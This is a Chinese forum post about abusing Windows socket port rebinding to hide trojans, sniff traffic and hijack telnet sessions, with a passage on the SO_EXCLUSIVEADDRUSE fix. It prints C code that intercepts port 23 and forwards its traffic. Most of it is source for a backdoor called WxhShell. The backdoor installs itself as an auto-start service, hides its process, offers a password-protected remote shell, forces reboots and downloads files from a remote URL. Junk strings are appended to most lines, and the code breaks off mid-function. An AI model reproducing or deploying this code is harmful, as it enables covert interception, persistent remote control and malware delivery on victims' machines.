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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PAtv#)h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cAot+N+9|]  
Cc,V ]  
  saddr.sin_family = AF_INET; Uxik&M  
.:B>xg~2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2FV@ ?x0po  
J YA>Q&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1 A0BM  
O8_! !Qd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 UnYb}rF#%  
vw(ecs^C  
  这意味着什么?意味着可以进行如下的攻击: jYFmL_{  
%#eQN ~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -1d*zySL  
47 Bg[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5U4V_*V  
/ x$JY\cq`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {;& U5<NO  
XMT@<'fI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q5-i=lw  
OdY9g2y#m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g1"Z pD  
;in-)`UC!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 VP^Yf_  
vM5/KrW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "VSx?74q  
]?wz.  
  #include 9#&H'mG  
  #include s@7hoU-+  
  #include ~ss6yQ$  
  #include    JoiGuZd>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q/54=8*h0  
  int main() 7Re\*[)T  
  { |3!)  
  WORD wVersionRequested; X9]} UX  
  DWORD ret; Fb8d= Zc  
  WSADATA wsaData; ~n%Lo3RiP  
  BOOL val; nK?S2/o#A  
  SOCKADDR_IN saddr; 'ROz|iJ  
  SOCKADDR_IN scaddr; \y(3b#  
  int err; { AYW C6Y  
  SOCKET s; U4K ZPk  
  SOCKET sc; z |~+0  
  int caddsize; ,(K-;Id4  
  HANDLE mt; QSa#}vCp*  
  DWORD tid;   Uuu2wz3O0  
  wVersionRequested = MAKEWORD( 2, 2 ); <4vCx  
  err = WSAStartup( wVersionRequested, &wsaData ); oe 6-F)+  
  if ( err != 0 ) { }8aqSD<:  
  printf("error!WSAStartup failed!\n"); /(hTk&  
  return -1; ,@?9H ~\  
  } {4Kvr4)4  
  saddr.sin_family = AF_INET; K|-m6!C!7  
   LDHu10l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5  >0\=  
q mFbq<&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >Jx=k"Kv+  
  saddr.sin_port = htons(23); $6wSqH?q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tJ>>cFx  
  { ^tG,H@95  
  printf("error!socket failed!\n"); q6C`hVM l  
  return -1; ^GY^g-R  
  } 9S}rTZkEq  
  val = TRUE; UhS:tT]7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @!! u>1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0{bl^#$f  
  { ?yq=c  
  printf("error!setsockopt failed!\n"); 7>O`UT<t4@  
  return -1; .qZz 'Eq[  
  } $ [fqTh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; d!R+-Fp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 FVrB#Hw~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l~]] RgU  
uE9,N$\L_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -WqhOZ  
  { 'ZMh<M[  
  ret=GetLastError(); (E00T`@t0i  
  printf("error!bind failed!\n"); `j)56bR  
  return -1; V^[&4  
  } Eq;w5;7s  
  listen(s,2); 8YlZ({f  
  while(1) } (-9d  
  { qQ3Q4R\  
  caddsize = sizeof(scaddr); +O 7( >a  
  //接受连接请求 SIrNZ^I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E:**gvfq  
  if(sc!=INVALID_SOCKET) T{+a48,;  
  { v8yCf7+"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *,lDo9  
  if(mt==NULL) T&pCLvkz  
  { zc)nDyn  
  printf("Thread Creat Failed!\n"); 8HBwcXYoHh  
  break; u]Vt>Ywu  
  } n)q8y0if  
  } ^\O*e)#*  
  CloseHandle(mt); ]i`Q+q[  
  } k $^/$N  
  closesocket(s); d>)=|  
  WSACleanup(); `Pj7:[."[  
  return 0; [}HPV+j=U  
  }   SEzjc ~@3  
  DWORD WINAPI ClientThread(LPVOID lpParam) +yfUB8Xw  
  { h?n?3x!(  
  SOCKET ss = (SOCKET)lpParam; :3Q:pKg  
  SOCKET sc; ' abEY  
  unsigned char buf[4096]; k0V]<#h87  
  SOCKADDR_IN saddr; "M iJM+,  
  long num; i&6U5Va,G  
  DWORD val; M]{~T7n-  
  DWORD ret; T>nH=  
  //如果是隐藏端口应用的话,可以在此处加一些判断  ]aF;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *Ts$Hj[  
  saddr.sin_family = AF_INET; COHBju fmR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -avxH?;?7  
  saddr.sin_port = htons(23); ?y>ji1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 56s%Qlgx  
  { '1 2*'Q+{+  
  printf("error!socket failed!\n"); dX1jn;7  
  return -1; iKPgiL~  
  } \v-I<"::  
  val = 100; M 1 m]1<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D^%IFwU^  
  { GBBr[}y-  
  ret = GetLastError(); xOShO"4Z   
  return -1; d6tv4Cf  
  } DQW)^j h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9;{(.K  
  { qdpi-*2  
  ret = GetLastError(); iLBORT !;  
  return -1; *l =f=  
  } MCibYv c[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *\'t$se+  
  { Wu{_QuAB  
  printf("error!socket connect failed!\n"); Ip7#${f5M  
  closesocket(sc); LRu*%3xx  
  closesocket(ss); %(&ja_oO  
  return -1; u4 es8"  
  } %D#&RS  
  while(1) %Jh( 5  
  { Hm'fK$y(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D mi.@.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B`R@%US  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GNM>hQ)h:  
  num = recv(ss,buf,4096,0); @R`6j S_gK  
  if(num>0) n;:.UGl9.  
  send(sc,buf,num,0); XTX/vbge3m  
  else if(num==0) 7P(o!%H  
  break; Iv 3O8 GU  
  num = recv(sc,buf,4096,0); K!9K^h  
  if(num>0) GO2q"a  
  send(ss,buf,num,0); _PPC?k{z!  
  else if(num==0) r3' DXP  
  break; K:< Viz  
  } @ntwdv;  
  closesocket(ss); @a]cI  
  closesocket(sc); XZk%5t|t  
  return 0 ; v4Ag~Evcx  
  } Peph..8Z  
hY{4_ie=8  
xV+\R/)x  
========================================================== 4rL`||  
C TG^lms  
下边附上一个代码,,WXhSHELL '+$r7?dKP  
U}X'RCM  
========================================================== U3B&3K} ~  
".|8(Y  
#include "stdafx.h" ku*k+4rz  
d_$0  
#include <stdio.h> k0I$x:c  
#include <string.h> 0B9FPpx?:  
#include <windows.h> rz|Sjtq  
#include <winsock2.h> 3C!|!N1Hn  
#include <winsvc.h> Wx3DWY;  
#include <urlmon.h> {~51h}>b#  
g&p(XuN  
#pragma comment (lib, "Ws2_32.lib") x1wD`r  
#pragma comment (lib, "urlmon.lib") zF FYl7]  
Z)xcxSo  
#define MAX_USER   100 // 最大客户端连接数 11QZ- ^  
#define BUF_SOCK   200 // sock buffer "'``O~08/  
#define KEY_BUFF   255 // 输入 buffer |b='DJz2  
AFsieJ  
#define REBOOT     0   // 重启 ] g9SUFM  
#define SHUTDOWN   1   // 关机 # {k$Fk  
ts[8;<YD  
#define DEF_PORT   5000 // 监听端口 >#r0k|3J^J  
o-_,l J7o^  
#define REG_LEN     16   // 注册表键长度 In%FOPO  
#define SVC_LEN     80   // NT服务名长度 .Gr"| uII  
g8Y)90 G  
// 从dll定义API 2<0".5+I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^=-25%&^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3VMaD@nYa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MTE 1\,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aW|=|K  
7!`1K_v6  
// wxhshell配置信息 &=%M("IlD  
struct WSCFG { py~[M'p(H  
  int ws_port;         // 监听端口 G DBV  
  char ws_passstr[REG_LEN]; // 口令 ''9K(p6  
  int ws_autoins;       // 安装标记, 1=yes 0=no $M-"az]  
  char ws_regname[REG_LEN]; // 注册表键名 L28wT)D-  
  char ws_svcname[REG_LEN]; // 服务名 /;q 3Q#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L*Ffic  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 er 1zSTkg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &?@U_emLi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h }&dvd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >3p8o@:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rjfWty%6pX  
HWou&<EK  
}; uW}M1kq?+l  
gQhYM7NP{5  
// default Wxhshell configuration &kWT<*;J)  
struct WSCFG wscfg={DEF_PORT, 7PfNPz<4+  
    "xuhuanlingzhe", {KTZSs $n  
    1, k+@ :+ RL  
    "Wxhshell", bTYR=^9  
    "Wxhshell", 6x!iL\Y~  
            "WxhShell Service", Zn|lL0b{q  
    "Wrsky Windows CmdShell Service", 5D^2 +`$/  
    "Please Input Your Password: ", 4|j Pr J  
  1, (i<\n`h1K  
  "http://www.wrsky.com/wxhshell.exe", <[gN4x>'  
  "Wxhshell.exe" }DvT6  
    };  HsG3s?*  
 - sq= |  
// 消息定义模块 !YM:?%B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [e|9%[.V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |U~\;m@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h^H)p`[Gme  
char *msg_ws_ext="\n\rExit."; #x6w M~  
char *msg_ws_end="\n\rQuit."; 33"!K>wC  
char *msg_ws_boot="\n\rReboot..."; !a%_A^t7  
char *msg_ws_poff="\n\rShutdown..."; 6_w~#86=  
char *msg_ws_down="\n\rSave to "; C1YH\ X(r  
T%PUV \LV  
char *msg_ws_err="\n\rErr!"; tOQnxKzu  
char *msg_ws_ok="\n\rOK!"; ?|hYtV  
|mw3v>  
char ExeFile[MAX_PATH]; dHn,;Vv^6  
int nUser = 0; H7{kl  
HANDLE handles[MAX_USER]; p{0rHu[  
int OsIsNt; u3 4.   
kf' 4C "}  
SERVICE_STATUS       serviceStatus; w/ID y Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eN  TKX  
wX@g >(  
// 函数声明 Fe 7 8YDx?  
int Install(void); dP/1E6*m  
int Uninstall(void); @7?L+.r$9  
int DownloadFile(char *sURL, SOCKET wsh); ]PH'G>x  
int Boot(int flag); f Lns^  
void HideProc(void); Fy^8]u*Fu  
int GetOsVer(void); -zm-|6[Wi  
int Wxhshell(SOCKET wsl); R36A_  
void TalkWithClient(void *cs); Lnltt86  
int CmdShell(SOCKET sock); EHq?yj;  
int StartFromService(void); =kW7|c5Z  
int StartWxhshell(LPSTR lpCmdLine); pc](  
> a8'MK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q+ 9c81b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D'_ w *  
~2 J!I^ J  
// 数据结构和表定义 6oR5q 4  
SERVICE_TABLE_ENTRY DispatchTable[] = K@!Gs'Op  
{ F*,RDM'M  
{wscfg.ws_svcname, NTServiceMain}, @aWd0e]  
{NULL, NULL} $?|$uMIafp  
}; S),acc(d  
$_W kI^  
// 自我安装 2Ni {fC?  
int Install(void) C.VU"= -  
{ WP? AQD  
  char svExeFile[MAX_PATH]; R\lUE,o]<q  
  HKEY key; ?Lquf&`vP  
  strcpy(svExeFile,ExeFile); AKUmh  
-pm%F8{T]  
// 如果是win9x系统,修改注册表设为自启动 qL!pDZk  
if(!OsIsNt) { +)e+$ l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a`;nB E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |Y;[)s =q  
  RegCloseKey(key); ;Z-%'5hKM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $x q$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YyD0g9{  
  RegCloseKey(key); LVBE+{P\5?  
  return 0; *~jTE;J  
    } CdNb&Nyz  
  } sk~inIj-  
} [|APMMYK1  
else { L<ET"&b;4  
9<1dps=c  
// 如果是NT以上系统,安装为系统服务 C\gKJW^]y@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '>#8 F.  
if (schSCManager!=0) \~I>@SG2W+  
{ EVDcj,b"^  
  SC_HANDLE schService = CreateService 18G=j@k7  
  ( 9 kLA57  
  schSCManager, ?4YLt|sn  
  wscfg.ws_svcname, a3SBEkC  
  wscfg.ws_svcdisp, Isg\ fSK<j  
  SERVICE_ALL_ACCESS, Apc!!*7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {Z^q?~zC[  
  SERVICE_AUTO_START, #9p|aS\  
  SERVICE_ERROR_NORMAL, 6l& ,!fd  
  svExeFile, N<T@GQwkS  
  NULL, I"2*}v|  
  NULL, z?'z{+HY  
  NULL, @ 3,:G$,  
  NULL, O#x=iZI  
  NULL m,PiuR>  
  ); j},3@TFh  
  if (schService!=0) lHc9D  
  { O*ER3  
  CloseServiceHandle(schService); ,d$D0w  
  CloseServiceHandle(schSCManager); f}w_]l#[G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o4nDjFhh  
  strcat(svExeFile,wscfg.ws_svcname); 4XIc|a Aa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CRPE:7,D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W?D-&X^ny  
  RegCloseKey(key); ].Xh=7&2{  
  return 0; l9f%?<2D  
    } 0n*D](/NK  
  } K#xL-   
  CloseServiceHandle(schSCManager); 'C) v?!19  
} D4$2'h  
} C{OkbE"Vym  
hd@jm^k  
return 1; sq;3qbz  
} Ih)4.lLcKn  
K>G.HN@  
// 自我卸载 w$"^)E G,7  
int Uninstall(void) /cZTj!M  
{ $0|`h)&  
  HKEY key; 61](a;Di  
3? F~ H  
if(!OsIsNt) { DcN!u6sJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c/E'GG%Q%  
  RegDeleteValue(key,wscfg.ws_regname); k5)a|  
  RegCloseKey(key); yX/{eX5dr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3!vnSX(iv  
  RegDeleteValue(key,wscfg.ws_regname); *auT_*  
  RegCloseKey(key); WV}HN  
  return 0; 5&qBG@Hw]  
  } n 0g8B  
} p4D.nB8  
} UjS+Ddp  
else { 6B+?X5-6DH  
Hb0_QT~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1)!2D?w  
if (schSCManager!=0) D7=Irz!O\7  
{ nf1O8FwRb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a[p$e?gka  
  if (schService!=0) .q1y)l-^Z  
  { 8.Ufw. 5  
  if(DeleteService(schService)!=0) { 8Oz9 UcG  
  CloseServiceHandle(schService); 6q^\pJY%&7  
  CloseServiceHandle(schSCManager); J&&)%&h'I  
  return 0; \>x1#Vr>#V  
  } o2[$X ONTl  
  CloseServiceHandle(schService); ~RLWr.pK  
  } I51I(QF=  
  CloseServiceHandle(schSCManager); (I/ iD.A  
} @WNqD*)1  
} %+/Dv  
bOSqD[?  
return 1; o`G6!  
} \Foo:jON  
_D$1CaAYo  
// 从指定url下载文件 31UxYBY  
int DownloadFile(char *sURL, SOCKET wsh) e+)y6Q=  
{ z[6avW"q  
  HRESULT hr; _>ZC;+c?  
char seps[]= "/"; R+z'6&/ =I  
char *token; xojt s;n   
char *file; TU': Rt  
char myURL[MAX_PATH]; ',/#|  
char myFILE[MAX_PATH]; 6TTu[*0NT  
rT\~VJ>+i  
strcpy(myURL,sURL);  q*94vo-  
  token=strtok(myURL,seps); fef y`J  
  while(token!=NULL) Bh'!aipk  
  { \Zh&[D!2  
    file=token; (E7"GJ  
  token=strtok(NULL,seps); ~`="tzr:  
  } @,7r<6E  
u80C>sQ  
GetCurrentDirectory(MAX_PATH,myFILE); #!E`%' s]  
strcat(myFILE, "\\"); y5F"JjQAa  
strcat(myFILE, file); 'IFA>}e7W  
  send(wsh,myFILE,strlen(myFILE),0); p(nO~I2E  
send(wsh,"...",3,0); Uk*(C(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5*+DN U@  
  if(hr==S_OK) *rbgDaQ  
return 0; Z6rZAwy  
else :y`LF <  
return 1; > ;#Y0  
mZc;n.$U  
} Y652&{>q  
wVFa51a)yy  
// 系统电源模块 K F_Uu  
int Boot(int flag) <Np Mv!g  
{ ~cyKPg6  
  HANDLE hToken; F(zCvT   
  TOKEN_PRIVILEGES tkp; |d-x2M[  
jMCd`Q]K  
  if(OsIsNt) { VcXr!4 M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !.^x^OK%y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q)BSngW+  
    tkp.PrivilegeCount = 1; ~k-'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a'/C)fplL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #pgD-0_  
if(flag==REBOOT) { 0Ze&GK'Hf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AZE%fOG<i  
  return 0; 7w" !"W#  
} FyWf`XTO  
else { `?.6}*4@_A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r7>FH!=:  
  return 0; aMGh$\Pg  
} ULu@"  
  } 3UW`Jyd`k  
  else { <}A6 )=T  
if(flag==REBOOT) { lK7:qo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) re/u3\S  
  return 0; _Dqi#0#40p  
} /m;Bwu  
else { Qxa Me8 (  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {d'B._#i  
  return 0; 568M4xzi  
} OmZZTeGg1s  
} Sin)]zG~0  
==?%]ZE8  
return 1; o6|- :u5_/  
} 9z{}DBA  
qi7*Jjk>90  
// win9x进程隐藏模块 ewN|">WXQ  
void HideProc(void) mt0v (  
{ yx&}bu\  
## vP(M$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0S;Ipg  
  if ( hKernel != NULL ) +h/OQ]`/m  
  { ".Q]FE@>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;nbEV2Y<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ' Kkp!eZQ~  
    FreeLibrary(hKernel); R\n@q_!`X  
  } W7~_XI  
zA$ Y@f  
return; dc~vQDNw[X  
} r/0 #D+A  
_X<V` , p  
// 获取操作系统版本 g0a!auWM  
int GetOsVer(void) P| ?nx"c  
{ rVsCJuxI  
  OSVERSIONINFO winfo; oa7 N6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !=;Evf  
  GetVersionEx(&winfo); bOrE86v:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XAF]B,h=  
  return 1; y|*4XF<b  
  else @q]!C5  
  return 0; WTt /y\'6  
} >.C$2bW<L  
RiZ}cd  
// 客户端句柄模块 cMy?&  
int Wxhshell(SOCKET wsl) _uJ6Vy  
{ #\Q)7pgi.  
  SOCKET wsh; ka R55  
  struct sockaddr_in client; u|EJ)dT?  
  DWORD myID; ^dxy%*Z/  
Ud>hDOJ3  
  while(nUser<MAX_USER) 1ATH$x  
{ >B;S;_5=  
  int nSize=sizeof(client); rSW{1o'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l`0JL7  
  if(wsh==INVALID_SOCKET) return 1; k^k1>F}yx  
*x 2u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R5uz<  
if(handles[nUser]==0) Xe/7rhov  
  closesocket(wsh); #^i+'Z=L  
else |?' gT" #  
  nUser++; p<@+0Uw2  
  } .:;q8FL/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;4oKF7]   
*;t_V laZ  
  return 0; ,0>_(5  
} ?PB}2*R  
KHaYb5(a[  
// 关闭 socket 6ESS>I"su  
void CloseIt(SOCKET wsh) 9x8Ai  
{ _@|_`5W  
closesocket(wsh); EJaO"9 (  
nUser--; !:g\Fe]  
ExitThread(0); \nVoBW(  
} % =v<3  
zfml^N  
// 客户端请求句柄 /dVcNo3"  
void TalkWithClient(void *cs) !-gOqo  
{ $:DhK  
h&{>4{  
  SOCKET wsh=(SOCKET)cs; ~BI! l  
  char pwd[SVC_LEN]; LA837%)  
  char cmd[KEY_BUFF]; @|~D?&<\  
char chr[1]; D4GXZX8 K  
int i,j; FC8= ru  
SY2((!n._  
  while (nUser < MAX_USER) { <{1 3Nd'o  
3Q+THg3~?  
if(wscfg.ws_passstr) { b@[5xv\J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @L^30>?l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eJ$ {`&J  
  //ZeroMemory(pwd,KEY_BUFF); h"Q&E'0d  
      i=0; ds QGj&  
  while(i<SVC_LEN) { `qbsDfq@  
?DJ,YY9P  
  // 设置超时 4\8k~ #  
  fd_set FdRead; 9hs7B!3pc>  
  struct timeval TimeOut; 9DmQ  
  FD_ZERO(&FdRead); <H!; /p/S  
  FD_SET(wsh,&FdRead); F (:] lM|  
  TimeOut.tv_sec=8; PR1%  
  TimeOut.tv_usec=0; SbpO<8}8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); We#O' m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b*qC  
P!2[#TL0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o#&;,9  
  pwd=chr[0]; !7[Rhk7bW  
  if(chr[0]==0xd || chr[0]==0xa) { [5kaF"  
  pwd=0; mh`VZQ@  
  break; V?Zvu9b&  
  } s"]LQM1|  
  i++; /!0{9F<  
    } I"+;L4o`  
t%<d}QuHW  
  // 如果是非法用户,关闭 socket ^?tF'l`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +#y[sKa  
} |+i?FYA\  
@7';bfsix  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n.Q?@\}2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e[8p/hId  
/CN^">|_  
while(1) { C"ZCX6p+$  
`ja**re  
  ZeroMemory(cmd,KEY_BUFF); 5 lC"10  
<%Re!y@OL  
      // 自动支持客户端 telnet标准   !Hr +|HKQ?  
  j=0; ;dYpdy  
  while(j<KEY_BUFF) { 4o2 C=?@(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =X2EF  
  cmd[j]=chr[0]; ]E)gMf   
  if(chr[0]==0xa || chr[0]==0xd) { BY$%gIB6>  
  cmd[j]=0; N*My2t_+E  
  break; > c7fg^@  
  } !W8'apG&[  
  j++; %zB `Sd<  
    } 4>Q6!"  
@&2bLJJ+  
  // 下载文件 :U<`iJwY  
  if(strstr(cmd,"http://")) { h^bbU.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U:xr['  
  if(DownloadFile(cmd,wsh)) #x&1kHu<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7@rrAs-"Z  
  else pUr.<yc&u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %c(':vI#  
  } y4Plm.  
  else { I "9S  
3%xj-7z W  
    switch(cmd[0]) { >9|/sH@W  
  1NT@}j~/  
  // 帮助 ek#{!9-  
  case '?': { KaHjL&!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '8wA+N6Zr7  
    break; &}%3yrU  
  } R b6` k^  
  // 安装 ;Zc(qA  
  case 'i': { -2mm 5E~N  
    if(Install()) +X0?bVT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pVP CxP  
    else Q5/".x^@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c ++tk4  
    break; }ruBbeQ  
    } 3ePG=^K^  
  // 卸载 ED @9,W0  
  case 'r': { S!k cC-7  
    if(Uninstall()) p^A9iieHp=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u-At k-2M  
    else gz-}nCSi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q3e %L  
    break; Y|g8xkI}XB  
    } )avli@W-3j  
  // 显示 wxhshell 所在路径 SI)u@3hl&w  
  case 'p': { tD.md _E  
    char svExeFile[MAX_PATH]; ! iA0u  
    strcpy(svExeFile,"\n\r"); @]t}bF]  
      strcat(svExeFile,ExeFile); [GX5jD#  
        send(wsh,svExeFile,strlen(svExeFile),0); _JiB=<Fkr  
    break; 6+e@)[l.zc  
    } ksT2_Ic  
  // 重启 q<yp6Q3^  
  case 'b': { iZB?5|*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xg k~y,F  
    if(Boot(REBOOT)) *pCT34'--  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Tl5,CAz  
    else { m@R!o  
    closesocket(wsh); n:,At] ky  
    ExitThread(0); 9sifc<za  
    } )"2)r{7:  
    break; MJd!J ]E6  
    } M3c-/7  
  // 关机 ,8nu%zcVn  
  case 'd': { $+!/=8R)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >}%  
